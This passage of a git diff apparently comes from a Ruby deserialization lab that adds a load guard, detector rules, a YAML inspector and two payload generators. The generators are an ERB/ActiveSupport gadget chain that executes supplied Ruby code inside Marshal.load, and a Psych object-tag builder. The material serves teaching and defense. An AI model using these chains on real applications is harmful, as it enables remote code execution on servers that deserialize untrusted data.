run the gadget scanner over loaded modules -just matrix probe six pinned Ruby images and render the compatibility matrix -just exploit prove the chain fires on a vulnerable image and is blocked on a patched one -just target stand up the vulnerable app and attack it over HTTP -just detector prove the defensive layer rejects the payload the target executes -just package build the gem, audit what shipped, install it, prove the version floor -just gate everything above, in order -just build build the gem with --strict into tmp/build -just manifest list exactly what would ship in the .gem +Marshal bytes ──> build the object ──> RUN its hook ──> your allowlist runs + ^^^^^^^^^^^^ too late, an autopsy + +Psych bytes ──> CHECK the tag ──> refuse + ^^^^^^^^^^^^^^ in time, a bouncer ``` -`just package` also audits an artifact you already have, which is how you check that a gem -on disk still matches the source it claims to be built from: +Same intent, opposite outcome, decided entirely by where the check sits. The target exposes both so you can `curl` the difference: `/render` and `/yaml/unsafe` both reach code execution with the same ERB object, and `/yaml/safe` refuses it by tag while `/render/safe` can only inspect the bytes and hope. + +## The two payloads + +| Payload | Kind | Enters through | Fires when | Needs | +|---------|------|----------------|------------|-------| +| `erb-def-module` | **chain** | ungated `#hash` on a hash key | inside `Marshal.load`, no application call | activesupport loaded in the target | +| `erb-def-method` | **primitive** | the `@_init` guard bypass | only when the application calls `def_method` | nothing | + +Both target CVE-2026-41316 (published 2026-04-23, CVSS 8.1, CWE-502 plus CWE-693). Ruby 2.7.0 added an `@_init` guard to stop `Marshal.load` code execution on ERB objects, and `def_method`, `def_module`, and `def_class` never checked it. Six years of a correct defense with three doors left open. The exploit gate proves both halves: the chain fires on erb 6.0.1 and is blocked on 6.0.1.1, one `docker pull` apart. + +## Limits + +Every defense here is a trade, and the code says so out loud rather than in a footnote. + +- **A stream that passes inspection is not a safe stream.** `proceed?` means the bytes matched a policy. It does not mean the payload is harmless, and `LIMITATION_NOTICE` says exactly that. The published CVE chain produces **zero sink tags**, so sink detection alone never catches it; only class allowlisting does. +- **The runtime guard is defense in depth, not a boundary.** Its cost is not a multiplier. Enabling a `TracePoint` costs a near-constant ~46 microseconds per load, so it is 1.0x on a 488 KB document and **40x on a 45-byte session cookie**, and a cookie is what this lab deserializes. It also covers the load window only: a class carrying no hook at all is built freely and fires whenever the application next touches it. +- **The scanner sees only what is loaded.** `ObjectSpace` cannot report a class nobody has required yet. On a stock image it narrows 119 ungated candidates to 29 reachable, and 135 of its candidates are C-defined with no Ruby source at all, which it reports as `unanalysable` rather than scoring as inert. +- **The gem floor is `>= 3.4` and it was measured, not chosen.** `Marshal.load` did not validate the bignum sign byte until 3.4. The parser accepts `+` and `-` only, so it models 3.4 and newer; run it on 3.3 and it disagrees with the interpreter it exists to model. `just package` re-proves that in both directions on every run. + +## Architecture + +Two readers, one vocabulary. Nothing in the inspection path ever revives an object. ``` -just package tmp/build/marshalsea-0.1.0.gem + Marshal bytes ──> Parser ──> Node graph ──┐ + ├──> BoundaryDetector ──> Decision + YAML document ──> Inspector ──> Document ─┘ (proceed / blocked / observed) + + loaded classes ──> Scanner ──> entry points + links (offense: what is usable) + chain registry ──> generate ──> serialize (offense: build the payload) + Marshal.load ──> LoadGuard (TracePoint :call) (defense: veto before the body) ``` -## Releasing +The parser is deliberately forensic: it keeps parsing a stream that CRuby would refuse, so a sink hidden in a slot where a symbol belongs stays visible in the report instead of vanishing behind a parse error. The detector is the strict half, and it rejects on the anomaly the parser recorded. That split is why a hostile stream can be both fully described and firmly refused. -Bump `Marshalsea::VERSION`, then push a tag: +## Build and Test -``` -git tag marshalsea-v0.1.0 -git push origin marshalsea-v0.1.0 +```bash +just check # the seven suites plus the standalone controls +just gate # check + matrix + exploit + detector + target + package +just lint # rubocop, 37 files +just build # build the gem into tmp/build ``` -That is the whole release. CI runs the suites and the standalone controls on Ruby 3.4 and -4.0, refuses to continue if the tag disagrees with `Marshalsea::VERSION` or if the gemspec -floor no longer matches the tested matrix, and then publishes through RubyGems trusted -publishing. There is no API key anywhere in this repository, and none to rotate or leak: -the job proves its identity to rubygems.org with a short-lived OIDC token issued by GitHub -for that specific workflow. +Everything runs in Docker against a pinned Ruby, and every gate container runs with `--network none` except the target, which gets its own internal network with no route off the host. -The tag is prefixed because sixty projects share this repository and a bare `v0.1.0` would -not say which one it belongs to. `rake -T` still prints `Create tag v0.1.0` because that -description is built before the prefix is applied; the tag actually created is -`marshalsea-v0.1.0`, and `just package` asserts the real value rather than the printed one. +The discipline here is that a green suite proves nothing until the thing under test has been mutated. Every rule added to this project ships with the mutant that kills it, every gate carries an input it must reject, and the tests that matter most are differential: they execute real `Marshal.load` and real `Psych`, observe what actually dispatched, and assert the model agrees, with liveness guards on both directions so a dead oracle cannot pass quietly. -Each release also publishes a Sigstore attestation recording which workflow built the -artifact and from which commit. Treat it as an auditable record, not as protection: neither -`gem install` nor `bundle install` verifies attestations today. +## Project Structure -## A note on the object-link index +``` +deserialization-gadget-lab/ +├── lib/marshalsea/ +│ ├── marshal/ +│ │ ├── parser.rb # the Marshal format reader that never calls Marshal.load +│ │ ├── node.rb # the parse graph, sealed and frozen before it is returned +│ │ ├── boundary_detector.rb # policy, three decision states, limitation notice +│ │ ├── load_guard.rb # TracePoint veto that fires before the hook body +│ │ ├── limits.rb # fourteen resource ceilings, all opt-out +│ │ ├── float_body.rb # float decoding that labels what it cannot decode +│ │ └── constants.rb errors.rb +│ ├── psych/inspector.rb # YAML AST reader, revives nothing +│ ├── chains/ # directory is the chain identity, no registry to rot +│ │ ├── base.rb erb_def_method.rb erb_def_module.rb psych_init_with.rb +│ ├── scanner.rb # reflection over the loaded class graph +│ └── chains.rb version.rb +├── target/ # the deliberately vulnerable Sinatra app + containers +├── scripts/ # the six gate stages and the gem auditor +├── test/ # seven suites, the adversarial corpus, standalone controls +├── learn/ # the teaching track (public) +└── justfile +``` -Ruby's Marshal format documentation states that object links are one-indexed. **They are -zero-indexed.** A self-referential array dumps as `04 08 5b 06 40 00`, where the trailing -`00` is a link to the outermost object at index 0. The parser is written against the -observed bytes, not the documentation. +## Learn + +This project ships a full teaching track. Read it in order, or jump to what you need. + +| Doc | What it covers | +|-----|----------------| +| [`learn/00-OVERVIEW.md`](learn/00-OVERVIEW.md) | What the lab is, prerequisites, the project layout, and a quick tour | +| [`learn/01-CONCEPTS.md`](learn/01-CONCEPTS.md) | The deserialization bug class, opening with the Equifax debunk, grounded in verified incidents | +| [`learn/02-ARCHITECTURE.md`](learn/02-ARCHITECTURE.md) | The two readers, the gated versus ungated dispatch axis, and why the detector and parser disagree on purpose | +| [`learn/03-IMPLEMENTATION.md`](learn/03-IMPLEMENTATION.md) | A code walkthrough from Marshal tags to a working chain, with the ActiveSupport proxy as the showpiece | +| [`learn/04-CHALLENGES.md`](learn/04-CHALLENGES.md) | Extension ideas, from a new chain to closing the guard's deferred-execution bypass | ## License -AGPL-3.0-or-later. See [LICENSE](LICENSE). +[AGPL 3.0](LICENSE). diff --git a/PROJECTS/beginner/deserialization-gadget-lab/justfile b/PROJECTS/beginner/deserialization-gadget-lab/justfile index 1b6b7c42..d06018a9 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/justfile +++ b/PROJECTS/beginner/deserialization-gadget-lab/justfile @@ -19,6 +19,8 @@ test: {{run_ro}} ruby -Ilib -Itest test/scanner_test.rb {{run_ro}} ruby -Ilib -Itest test/chains_test.rb {{run_ro}} ruby -Ilib -Itest test/marshal/boundary_detector_test.rb + {{run_ro}} ruby -Ilib -Itest test/marshal/load_guard_test.rb + {{run_ro}} ruby -Ilib -Itest test/psych/inspector_test.rb {{run_ro}} ruby -Ilib -Itest test/corpus_test.rb corpus: @@ -47,6 +49,18 @@ exploit: target: @bash scripts/target-gate.sh +target-up: + docker build -q -f target/Dockerfile -t marshalsea-target:local . >/dev/null + docker run -d --rm --name marshalsea-target --read-only \ + --tmpfs /tmp:rw,noexec,nosuid,size=1m --cap-drop ALL \ + --security-opt no-new-privileges --pids-limit 128 --memory 256m \ + -p "127.0.0.1:${MARSHALSEA_TARGET_PORT:-47823}:4567" marshalsea-target:local + @echo "target on http://127.0.0.1:${MARSHALSEA_TARGET_PORT:-47823}" + @echo "this one is published and therefore NOT egress-isolated; just target is" + +target-down: + -docker rm -f marshalsea-target + detector: @bash scripts/detector-gate.sh diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea.rb index b5ef2a47..c8ddab66 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea.rb @@ -10,6 +10,8 @@ require_relative "marshalsea/marshal/float_body" require_relative "marshalsea/marshal/limits" require_relative "marshalsea/marshal/parser" require_relative "marshalsea/marshal/boundary_detector" +require_relative "marshalsea/marshal/load_guard" +require_relative "marshalsea/psych/inspector" require_relative "marshalsea/scanner" require_relative "marshalsea/chains" diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains.rb index 5fd1c1d7..d1a48451 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains.rb @@ -18,7 +18,7 @@ module Marshalsea end def all - @registry.reject { |chain| chain == Base } + registry end def find(name) @@ -34,4 +34,5 @@ module Marshalsea end require_relative "chains/base" -require_relative "chains/erb_def_method" + +Dir[File.join(__dir__, "chains", "*.rb")].each { |chain| require chain } diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/base.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/base.rb index 25a8a065..9a416fd6 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/base.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/base.rb @@ -8,9 +8,21 @@ module Marshalsea class NotImplementedByChainError < ChainError; end + class ObjectLinkRefusedError < ChainError; end + class Base SUBCLASS_MUST_DEFINE = "chain must define" + KIND_PRIMITIVE = :primitive + KIND_CHAIN = :chain + + HEADER_BYTES = 2 + HASH_WITH_ONE_ENTRY = "{\x06" + NIL_VALUE = "0" + + OBJECT_LINK_REFUSED = "the payload graph contains an object link, whose index would shift " \ + "when spliced behind a hash node; build it without repeated objects" + class << self def inherited(subclass) super @@ -37,6 +49,22 @@ module Marshalsea metadata.fetch(:gem) end + def kind + metadata.fetch(:kind) + end + + def chain? + kind == KIND_CHAIN + end + + def primitive? + kind == KIND_PRIMITIVE + end + + def required_gems + metadata.fetch(:requires, []) + end + def affected_requirements metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) } end @@ -54,6 +82,21 @@ module Marshalsea def serialize ::Marshal.dump(generate) end + + private + + def in_hash_key_position(object) + body = ::Marshal.dump(object).byteslice(HEADER_BYTES..) + header = ::Marshal.dump(nil).byteslice(0, HEADER_BYTES) + refuse_object_links("#{header}#{HASH_WITH_ONE_ENTRY}#{body}#{NIL_VALUE}".b) + end + + def refuse_object_links(stream) + graph = Marshalsea::Marshal::Parser.new(stream).parse + return stream if graph.nodes.none? { |node| node.type == :object_link } + + raise ObjectLinkRefusedError, OBJECT_LINK_REFUSED + end end end end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_method.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_method.rb index c81d87f0..b840bf25 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_method.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_method.rb @@ -13,11 +13,11 @@ module Marshalsea TARGET_GEM = "erb" AFFECTED = [ - "< 4.0.3.1", - "= 4.0.4", + ["< 4.0.3.1"], + ["= 4.0.4"], [">= 5.0.0", "< 6.0.1.1"], [">= 6.0.2", "< 6.0.4"] - ].freeze + ].map { |constraints| constraints.map(&:freeze).freeze }.freeze SRC_PREFIX = "#\nend\n" SRC_SUFFIX = "\ndef _marshalsea_unused\n" @@ -30,14 +30,17 @@ module Marshalsea CANARY_TEMPLATE = "File.write(%p, %p)" + METADATA = { + name: CHAIN_NAME, + vector: VECTOR, + cve: CVE, + gem: TARGET_GEM, + affected: AFFECTED, + kind: KIND_PRIMITIVE + }.freeze + def self.metadata - { - name: CHAIN_NAME, - vector: VECTOR, - cve: CVE, - gem: TARGET_GEM, - affected: AFFECTED - } + METADATA end def self.canary(path, marker) diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_module.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_module.rb new file mode 100644 index 00000000..5a3b11b9 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/erb_def_module.rb @@ -0,0 +1,129 @@ +# ©AngelaMos | 2026 +# erb_def_module.rb +# frozen_string_literal: true + +require "erb" + +module Marshalsea + module Chains + class ErbDefModule < Base + CHAIN_NAME = "erb-def-module" + VECTOR = "hash" + CVE = "CVE-2026-41316" + TARGET_GEM = "erb" + + REQUIRES = ["activesupport"].freeze + + AFFECTED = [ + ["< 4.0.3.1"], + ["= 4.0.4"], + [">= 5.0.0", "< 6.0.1.1"], + [">= 6.0.2", "< 6.0.4"] + ].map { |constraints| constraints.map(&:freeze).freeze }.freeze + + PROXY_CLASS = "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + DEPRECATOR_CLASS = "ActiveSupport::Deprecation" + + DISPATCH_METHOD = :def_module + PROXY_LABEL = "@marshalsea" + + SRC_PREFIX = "#\nend\n" + SRC_SUFFIX = "\ndef _marshalsea_unused\n" + DEFAULT_FILENAME = "(erb)" + DEFAULT_LINENO = 0 + + IVAR_SRC = :@src + IVAR_FILENAME = :@filename + IVAR_LINENO = :@lineno + IVAR_INSTANCE = :@instance + IVAR_METHOD = :@method + IVAR_VAR = :@var + IVAR_DEPRECATOR = :@deprecator + IVAR_SILENCED = :@silenced + + CANARY_TEMPLATE = "File.write(%p, %p)" + + MISSING_DISPATCHER = "#{PROXY_CLASS} is not loaded; this chain needs activesupport".freeze + + SET_IVAR = Object.instance_method(:instance_variable_set).freeze + + METADATA = { + name: CHAIN_NAME, + vector: VECTOR, + cve: CVE, + gem: TARGET_GEM, + affected: AFFECTED, + kind: KIND_CHAIN, + requires: REQUIRES + }.freeze + + def self.metadata + METADATA + end + + def self.canary(path, marker) + new(format(CANARY_TEMPLATE, path: path, marker: marker)) + end + + def self.dispatcher_available? + dispatcher_class + true + rescue ChainError + false + end + + def self.dispatcher_class + require "active_support" + require "active_support/deprecation" + Object.const_get(PROXY_CLASS) + rescue LoadError, NameError + raise ChainError, MISSING_DISPATCHER + end + + def self.deprecator_class + dispatcher_class + Object.const_get(DEPRECATOR_CLASS) + end + + def initialize(ruby_source) + super() + @ruby_source = ruby_source + end + + def generate + proxy = self.class.dispatcher_class.allocate + SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template) + SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD) + SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL) + SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator) + proxy + end + + def serialize + in_hash_key_position(generate) + end + + def template + object = ERB.allocate + object.instance_variable_set(IVAR_SRC, src) + object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME) + object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO) + object + end + + def deprecator + silent = self.class.deprecator_class.allocate + silent.instance_variable_set(IVAR_SILENCED, true) + silent + end + + def src + "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}" + end + + private + + attr_reader :ruby_source + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/psych_init_with.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/psych_init_with.rb new file mode 100644 index 00000000..9a1d83e4 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/psych_init_with.rb @@ -0,0 +1,57 @@ +# ©AngelaMos | 2026 +# psych_init_with.rb +# frozen_string_literal: true + +require "psych" + +module Marshalsea + module Chains + class PsychInitWith < Base + CHAIN_NAME = "psych-init-with" + VECTOR = "init_with" + CVE = "none" + TARGET_GEM = "psych" + + AFFECTED = [[">= 0"]].map { |constraints| constraints.map(&:freeze).freeze }.freeze + + DOCUMENT_TEMPLATE = <<~YAML + --- !ruby/object:%s + %s: %s + YAML + + DEFAULT_IVAR = "cmd" + + METADATA = { + name: CHAIN_NAME, + vector: VECTOR, + cve: CVE, + gem: TARGET_GEM, + affected: AFFECTED, + kind: KIND_CHAIN + }.freeze + + def self.metadata + METADATA + end + + def initialize(class_name, value, ivar: DEFAULT_IVAR) + super() + @class_name = class_name + @value = value + @ivar = ivar + end + + def generate + format(DOCUMENT_TEMPLATE, class_name: class_name, ivar: ivar, value: value.inspect) + end + + def serialize + generate + end + + private + + attr_reader :class_name, :value, :ivar + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/boundary_detector.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/boundary_detector.rb index 121b0427..356b3c04 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/boundary_detector.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/boundary_detector.rb @@ -17,8 +17,14 @@ module Marshalsea REASON_MALFORMED = "stream is not canonical Marshal: %s" REASON_SINK = "stream reaches %s#%s during load, before any allowlist can run" REASON_UNAPPROVED = "stream references unapproved class %s" - REASON_KEY_DISPATCH = "stream puts %s in a hash key, so its #hash and #eql? run during " \ - "load, before any allowlist can act" + REASON_ROLE_ANOMALY = "stream is not canonical Marshal: %s, so Marshal.load refuses it " \ + "and there is nothing here to permit" + REASON_KEY_HASH = "stream puts %s in a hash key, so its #hash runs during load, before " \ + "any allowlist can act" + REASON_KEY_EQL = "stream puts %s in a hash key, so its #eql? runs during load as soon as " \ + "two keys collide, before any allowlist can act" + REASON_RANGE_ENDPOINT = "stream puts %s in a Range endpoint, so its #<=> runs during " \ + "load, before any allowlist can act" REASON_NONCANONICAL_VERSION = "stream declares Marshal %d.%d; every Ruby that can produce " \ "this format emits %d.%d" @@ -134,11 +140,20 @@ module Marshalsea end def violation_for(result) + anomaly = result.role_anomalies.first + return format(REASON_ROLE_ANOMALY, anomaly) if anomaly + sink = result.sinks.first return format(REASON_SINK, quoted(sink.class_name), sink.sink_method) if sink - key = result.dispatching_hash_keys.first - return format(REASON_KEY_DISPATCH, quoted(key.effective_class_name)) if key + hashed = result.hash_dispatching_keys.first + return format(REASON_KEY_HASH, quoted(hashed.effective_class_name)) if hashed + + compared = result.eql_dispatching_keys.first + return format(REASON_KEY_EQL, quoted(compared.effective_class_name)) if compared + + endpoint = result.range_endpoint_dispatchers.first + return format(REASON_RANGE_ENDPOINT, quoted(endpoint.effective_class_name)) if endpoint return nil if policy == POLICY_DENY_SINKS_ONLY diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/constants.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/constants.rb index 55ac5503..8cdbecff 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/constants.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/constants.rb @@ -68,8 +68,13 @@ module Marshalsea ROLE_STRUCT = "struct member" ROLE_BIGNUM = "bignum word" + ROLE_ANOMALY = "%s name slot holds %s, not a symbol" + CLASS_NAME_TYPES = %i[symbol symlink].freeze + RANGE_CLASS_NAME = "Range" + RANGE_ENDPOINT_IVARS = %i[begin end].freeze + REGISTERED_WRAPPER_TYPES = %i[data].freeze SINK_TAGS = [TAG_USERDEF, TAG_USERMARSHAL, TAG_DATA].freeze diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/limits.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/limits.rb index e76ec003..bc01aa4b 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/limits.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/limits.rb @@ -74,10 +74,12 @@ module Marshalsea @max_struct_members = max_struct_members end + STACK_SAFE_MAX_DEPTH = Constants::DEFAULT_MAX_DEPTH + def self.permissive new( max_bytes: UNBOUNDED, - max_depth: Constants::DEFAULT_MAX_DEPTH, + max_depth: STACK_SAFE_MAX_DEPTH, max_nodes: UNBOUNDED, max_registered_objects: UNBOUNDED, max_symbol_definitions: UNBOUNDED, diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/load_guard.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/load_guard.rb new file mode 100644 index 00000000..2c70f4f6 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/load_guard.rb @@ -0,0 +1,120 @@ +# ©AngelaMos | 2026 +# load_guard.rb +# frozen_string_literal: true + +module Marshalsea + module Marshal + class GuardedLoadError < StandardError; end + + class LoadGuard + GATED_HOOKS = %i[marshal_load _load _load_data].freeze + DISPATCH_HOOKS = %i[method_missing respond_to_missing?].freeze + KEY_HOOKS = %i[hash eql?].freeze + + DEFAULT_HOOKS = (GATED_HOOKS + DISPATCH_HOOKS).freeze + STRICT_HOOKS = (DEFAULT_HOOKS + KEY_HOOKS).freeze + + EVENTS = %i[call c_call].freeze + + REASON = "deserialization hook %s#%s is not permitted" + ANONYMOUS_OWNER = "(class with no name)" + + LIMITATION_NOTICE = <<~NOTICE + SECURITY LIMITATION + + Marshalsea::Marshal::LoadGuard vetoes a deserialization hook before its body runs, + which is the thing a Marshal.load allowlist proc cannot do. It is defense in depth + and a tripwire. It is not a boundary, and it never makes Marshal.load on untrusted + input safe. + + It covers the load window only. A class carrying no hook at all is instantiated + freely and fires whenever the application later touches it, which is outside any + window this guard can see. + + With the default hook set it does not watch #hash or #eql?. Rebuilding a Hash + rehashes its keys, so a key object's #hash runs inside Marshal.load with no + deserialization hook involved. Pass strict: true to watch those two as well, and + accept that they are among the hottest methods in Ruby: the cost and the + false-positive profile both change completely. Marshalsea::Marshal::BoundaryDetector + catches that same shape before any bytes are loaded, which is the cheaper place + to catch it. + + The guard is thread-scoped. A load on another thread is not covered. + + Its cost is not a multiplier. Enabling a TracePoint costs roughly 46 microseconds + per load on a stock ruby:4.0-slim, near enough constant, so the ratio is decided by + how much work the load itself does. Measured 2026-07-30: 40x on a 45-byte session + cookie, 21x on a 142-byte session, 1.1x on a 46 KB document, 1.0x on a 488 KB one. + Guarding a large payload is close to free. Guarding a session cookie on every + request is not, and a cookie is exactly what this lab deserializes. + NOTICE + + class Observation + attr_reader :class_name, :method_name + + def initialize(class_name:, method_name:, permitted:) + @class_name = class_name + @method_name = method_name + @permitted = permitted + end + + def permitted? + @permitted + end + + def to_s + "#{class_name}##{method_name}" + end + end + + attr_reader :observations + + def initialize(permitted_class_names: [], strict: false) + @permitted_class_names = permitted_class_names.map(&:to_s).freeze + @hooks = strict ? STRICT_HOOKS : DEFAULT_HOOKS + @observations = [].freeze + end + + def load(blob) + seen = [] + tracer = TracePoint.new(*EVENTS) { |event| inspect_event(event, seen) } + result = nil + begin + tracer.enable { result = ::Marshal.load(blob) } + ensure + @observations = seen.freeze + end + result + end + + def watches?(hook) + hooks.include?(hook) + end + + private + + attr_reader :permitted_class_names, :hooks + + def inspect_event(event, seen) + return unless hooks.include?(event.method_id) + + owner = owner_name(event.self) + label = owner || ANONYMOUS_OWNER + permitted = !owner.nil? && permitted_class_names.include?(owner) + seen << Observation.new(class_name: label, method_name: event.method_id, + permitted: permitted) + return if permitted + + raise GuardedLoadError, format(REASON, label, event.method_id) + end + + def owner_name(receiver) + owner = receiver.is_a?(Module) ? receiver : receiver.class + name = owner.name + name if name.is_a?(String) && !name.empty? + rescue StandardError + nil + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/node.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/node.rb index 4b07e319..13ee354d 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/node.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/node.rb @@ -8,8 +8,9 @@ module Marshalsea STRING_BACKED_TYPES = %i[string regexp].freeze WRAPPER_TYPES = %i[user_class extended].freeze - attr_reader :type, :tag, :children, :instance_variables_map, :auxiliary, :undecoded_tail - attr_accessor :value, :class_name, :link_target + attr_reader :type, :tag, :children, :instance_variables_map, :instance_variable_pairs, + :auxiliary, :undecoded_tail + attr_accessor :value, :class_name, :link_target, :regexp_options def initialize(type:, tag: nil, value: nil, class_name: nil, undecoded_tail: nil) @type = type @@ -19,6 +20,7 @@ module Marshalsea @undecoded_tail = undecoded_tail @children = [] @instance_variables_map = {} + @instance_variable_pairs = [] @auxiliary = [] end @@ -39,11 +41,44 @@ module Marshalsea end def dispatches_key_methods? - return link_target ? link_target.dispatches_key_methods? : false if type == :object_link - return false unless class_name - return !string_backed? if WRAPPER_TYPES.include?(type) + !hash_dispatcher.nil? || !eql_dispatcher.nil? + end - true + def hash_dispatcher(seen = {}.compare_by_identity) + return nil if seen.key?(self) + + seen[self] = true + return link_target&.hash_dispatcher(seen) if type == :object_link + return member_dispatcher(:hash_dispatcher, seen) unless class_name + return nil if WRAPPER_TYPES.include?(type) && string_backed? + + self + end + + def eql_dispatcher(seen = {}.compare_by_identity) + return nil if seen.key?(self) + + seen[self] = true + return link_target&.eql_dispatcher(seen) if type == :object_link + return member_dispatcher(:eql_dispatcher, seen) unless class_name + + self + end + + def member_dispatcher(probe, seen) + children.each do |child| + found = child.public_send(probe, seen) + return found if found + end + nil + end + + def range_endpoints + instance_variable_pairs.filter_map do |name, value| + next unless Constants::RANGE_ENDPOINT_IVARS.include?(name.value) + + value if value.effective_class_name + end end def effective_class_name @@ -72,23 +107,29 @@ module Marshalsea children.freeze auxiliary.freeze instance_variables_map.freeze + instance_variable_pairs.freeze freeze end end class Result - attr_reader :root, :major, :minor + attr_reader :root, :major, :minor, :role_anomalies - def initialize(root, major:, minor:) + def initialize(root, major:, minor:, role_anomalies: []) @root = root @major = major @minor = minor + @role_anomalies = role_anomalies end def canonical_version? major == Constants::MAJOR_VERSION && minor == Constants::MINOR_VERSION end + def canonical_roles? + role_anomalies.empty? + end + def nodes root.each end @@ -115,6 +156,19 @@ module Marshalsea def dispatching_hash_keys hash_keys.select(&:dispatches_key_methods?) end + + def hash_dispatching_keys + hash_keys.filter_map(&:hash_dispatcher) + end + + def eql_dispatching_keys + hash_keys.filter_map(&:eql_dispatcher) + end + + def range_endpoint_dispatchers + nodes.select { |node| node.effective_class_name == Constants::RANGE_CLASS_NAME } + .flat_map(&:range_endpoints) + end end end end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/parser.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/parser.rb index bf667420..ad57f735 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/parser.rb +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/marshal/parser.rb @@ -18,6 +18,7 @@ module Marshalsea @position = 0 @symbols = [] @objects = [] + @role_anomalies = [] end def parse @@ -26,7 +27,8 @@ module Marshalsea raise TrailingBytesError, "#{remaining} unread bytes" unless remaining.zero? root.each(&:seal) - Result.new(root, major: @major, minor: @minor).freeze + Result.new(root, major: @major, minor: @minor, + role_anomalies: @role_anomalies.freeze).freeze end private @@ -194,7 +196,7 @@ module Marshalsea def read_regexp(tag) node = Node.new(type: :regexp, tag: tag, value: read_counted_bytes) - take(1) + node.regexp_options = take_byte node end @@ -218,6 +220,12 @@ module Marshalsea pair end + def note_role_anomaly(role, node) + return if CLASS_NAME_TYPES.include?(node.type) + + @role_anomalies << format(ROLE_ANOMALY, role, node.type).freeze + end + def read_class_name(node, depth) class_node = read_value(depth) unless CLASS_NAME_TYPES.include?(class_node.type) @@ -236,9 +244,11 @@ module Marshalsea count.times do name = read_value(depth + 1) value = read_value(depth + 1) + note_role_anomaly(ROLE_IVAR, name) node.auxiliary << name node.auxiliary << value node.instance_variables_map[name.value] = value + node.instance_variable_pairs << [name, value].freeze end node end @@ -258,7 +268,11 @@ module Marshalsea read_class_name(node, depth + 1) count = read_entry_count(ROLE_STRUCT) budget.struct_members!(count) - count.times { node.children << read_pair(depth) } + count.times do + pair = read_pair(depth) + note_role_anomaly(ROLE_STRUCT, pair.children.first) + node.children << pair + end node end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/psych/inspector.rb b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/psych/inspector.rb new file mode 100644 index 00000000..f8cd31e2 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/psych/inspector.rb @@ -0,0 +1,277 @@ +# ©AngelaMos | 2026 +# inspector.rb +# frozen_string_literal: true + +require "psych" + +module Marshalsea + module Psych + class DocumentError < StandardError; end + + class MalformedDocumentError < DocumentError; end + + class InputTypeError < DocumentError; end + + class LimitExceededError < DocumentError; end + + module Tags + PATTERN = %r{\A!ruby/(?[a-z_-]+)(?::(?.+))?\z} + + KIND_OBJECT = "object" + KIND_HASH = "hash" + KIND_ARRAY = "array" + KIND_STRING = "string" + KIND_STRUCT = "struct" + KIND_EXCEPTION = "exception" + 